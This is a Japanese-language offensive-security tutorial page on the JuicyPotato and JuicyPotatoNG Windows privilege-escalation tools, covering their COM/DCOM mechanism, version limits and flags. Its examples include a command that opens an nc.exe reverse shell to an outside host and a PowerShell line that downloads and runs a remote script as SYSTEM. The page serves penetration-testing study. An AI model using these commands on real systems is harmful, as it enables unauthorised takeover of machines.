JuicyPotato と JuicyPotatoNG
JuicyPotato と JuicyPotatoNG の仕組み、対応環境、実行例をまとめます。利用できるかどうかは Windows のバージョンと現在のトークンが持つ特権に左右されます。
[!WARNING] JuicyPotato は legacy(レガシー)です。一般に Windows 10 1803 / Windows Server 2016 まで動作します。Windows 10 1809 / Server 2019 以降に導入された Microsoft の変更で元の手法は破壊されました。これらのビルド(build)以降では PrintSpoofer、RoguePotato、SharpEfsPotato/EfsPotato、GodPotato などのモダンな代替手段を検討してください。最新の選択肢と使い方は以下のページを参照してください。
関連ページ: RoguePotato と PrintSpoofer
JuicyPotato の仕組み
Section titled “JuicyPotato の仕組み”JuicyPotato は、サービスアカウントから NT AUTHORITY\SYSTEM への権限昇格を狙うツールです。RottenPotatoNG を基にしています。
JuicyPotato のバイナリは AppVeyor の成果物 から入手できます。
対応環境の確認
Section titled “対応環境の確認”- 現在のコンテキスト(current context)に
SeImpersonatePrivilegeまたはSeAssignPrimaryTokenPrivilegeがある場合、Windows 10 1803 / Windows Server 2016 まで安定して動作します。 - Windows 10 1809 / Windows Server 2019 以降の Microsoft の hardening(強化)で壊れています。これらのビルド(build)では上記の代替手段を優先してください。
RottenPotatoNG とその variants(亜種) は、BITS service(サービス) が 127.0.0.1:6666 で MiTM(Man-in-the-Middle)リスナーを持ち、かつ SeImpersonate または SeAssignPrimaryToken 権限(privileges)を持つ場合に成立する特権昇格(privilege escalation)チェーンを利用します。Windows のビルドレビュー中に、BITS が意図的に無効化され、ポート 6666 が使用済みのセットアップを見つけました。
そこで RottenPotatoNG を武器化しました: Juicy Potato の登場です。
理論(theory)については Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM を参照し、リンクと参考文献のチェーンをたどってください。
BITS 以外にも悪用可能な COM サーバー(COM server)がいくつもあることを発見しました。必要なのは次の条件です:
- 現在のユーザー(current user)でインスタンス化できること。通常は impersonation privileges を持つ「service user(サービスユーザー)」。
IMarshalインターフェース(interface)を実装していること- 昇格ユーザー(elevated user)(SYSTEM、Administrator、…)として動作すること
いくつかのテストの後、複数の Windows バージョンで利用できる多数の 興味深い CLSID を収集・検証しました。
動作の仕組み
Section titled “動作の仕組み”JuicyPotato では次のことができます:
- Target CLSID(対象 CLSID) 任意の CLSID を選択できます。 Here に OS 別の一覧があります。
- COM Listening port(COM リスニング ポート) marshalled(マーシャリング済み)でハードコードされた
6666の代わりに、任意の COM リスニング ポートを指定できます。 - COM Listening IP address(COM リスニング IP アドレス) 任意の IP にサーバーをバインド(bind)できます。
- Process creation mode(プロセス作成モード) impersonated user(偽装ユーザー)の privileges に応じて次から選べます:
CreateProcessWithToken(SeImpersonateが必要)CreateProcessAsUser(SeAssignPrimaryTokenが必要)both
- Process to launch(起動するプロセス) exploit が成功したときに起動する executable または script を指定します。
- Process Argument(プロセス引数) 起動するプロセスの引数をカスタマイズします。
- RPC Server address(RPC サーバー アドレス) ステルス(stealth)なアプローチとして外部 RPC サーバーに認証できます。
- RPC Server port(RPC サーバー ポート) 外部サーバーに認証したいが firewall がポート
135をブロックしている場合に有用です。 - TEST mode(TEST モード) 主にテスト用途、つまり CLSID のテスト用です。DCOM を作成し、トークン(token)のユーザーを表示します。 テストは here for testing を参照してください。
T:\>JuicyPotato.exeJuicyPotato v0.1
Mandatory args:-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both-p <program>: program to launch-l <port>: COM server listen port
Optional args:-m <ip>: COM server listen address (default 127.0.0.1)-a <argument>: command line argument to pass to program (default NULL)-k <ip>: RPC server ip address (default 127.0.0.1)-n <port>: RPC server listen port (default 135)確認しておきたい点
Section titled “確認しておきたい点”ユーザーが SeImpersonate または SeAssignPrimaryToken 権限(privileges)を持っていれば SYSTEM になります。
これらの COM サーバー(COM server)すべての悪用を防ぐのはほぼ不可能です。DCOMCNFG でこれらのオブジェクトの permissions(権限)を変更することを考えるかもしれませんが、幸運を祈ります。これはかなり難しいでしょう。
実際の解決策は * SERVICE アカウント配下で動作する機微アカウントやアプリケーションを保護することです。DCOM を停止すればこの exploit を確実に抑止できますが、基盤 OS に深刻な影響を与える可能性があります。
From: http://ohpe.it/juicy-potato/
JuicyPotatoNG (2022+)
Section titled “JuicyPotatoNG (2022+)”JuicyPotatoNG は次の要素を組み合わせることで、モダンな Windows で JuicyPotato スタイルの Local Privilege Escalation(ローカル特権昇格)を再導入します:
- 選択したポートのローカル RPC サーバーへの DCOM OXID 解決(resolution)により、従来のハードコードされた
127.0.0.1:6666リスナーを回避します。 - SSPI フック(SSPI hook)で inbound SYSTEM 認証を捕捉・偽装(impersonate)し、
RpcImpersonateClientを必要としません。これによりSeAssignPrimaryTokenPrivilegeしかない場合でもCreateProcessAsUserを有効化できます。 - DCOM アクティベーション制約(activation constraints)を満たすための工夫(tricks)。例: PrintNotify / ActiveX Installer Service クラスを狙う際の旧 INTERACTIVE グループ要件。
重要な注意点(ビルド間で変化する挙動):
- 2022年9月: 「INTERACTIVE trick」を使った初期手法は、サポート対象の Windows 10/11 および Server ターゲットで動作しました。
- 2023年1月の作者アップデート: Microsoft が後に INTERACTIVE trick をブロックしました。別の CLSID({A9819296-E5B3-4E67-8226-5E72CE9E1FB7})を使うと悪用が復活しますが、投稿によれば Windows 11 / Server 2022 のみです。
基本的な使用例(help により多くのフラグがあります):
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"# Useful helpers:# -b Bruteforce all CLSIDs (testing only; spawns many processes)# -s Scan for a COM port not filtered by Windows Defender Firewall# -i Interactive console (only with CreateProcessAsUser)Windows 10 1809 / Server 2019 で classic JuicyPotato がパッチ済みの場合は、冒頭でリンクした代替手段(RoguePotato、PrintSpoofer、EfsPotato/GodPotato など)を優先してください。NG はビルドやサービス状態によっては限定的になる可能性があります。
注: 試すべき CLSID の一覧は this page を参照してください。
nc.exe のリバースシェル取得
Section titled “nc.exe のリバースシェル取得”c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337......[+] authresult 0{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>PowerShell のリバースシェル
Section titled “PowerShell のリバースシェル”.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *RDP 接続中に CMD を起動する
Section titled “RDP 接続中に CMD を起動する”.png)
CLSID に関する問題
Section titled “CLSID に関する問題”JuicyPotato が使うデフォルト CLSID が 動作せず、exploit が失敗することがよくあります。通常、動作する CLSID を見つけるには複数回試す必要があります。特定の OS(operating system)向けに試す CLSID の一覧を得るには次のページを参照してください:
CLSID の確認
Section titled “CLSID の確認”まず juicypotato.exe 以外にいくつかの実行ファイル(executables)が必要です。
Join-Object.ps1 をダウンロードして PS セッションに読み込み、GetCLSID.ps1 をダウンロードして実行します。このスクリプトはテスト用の CLSID 一覧を生成します。
次に test_clsid.bat(CLSID 一覧へのパスと juicypotato 実行ファイルへのパスを変更)をダウンロードして実行します。すべての CLSID を試行し、ポート番号が変わったらその CLSID が動作したことを意味します。
動作する CLSID は -c パラメータ(parameter) で 確認 してください。

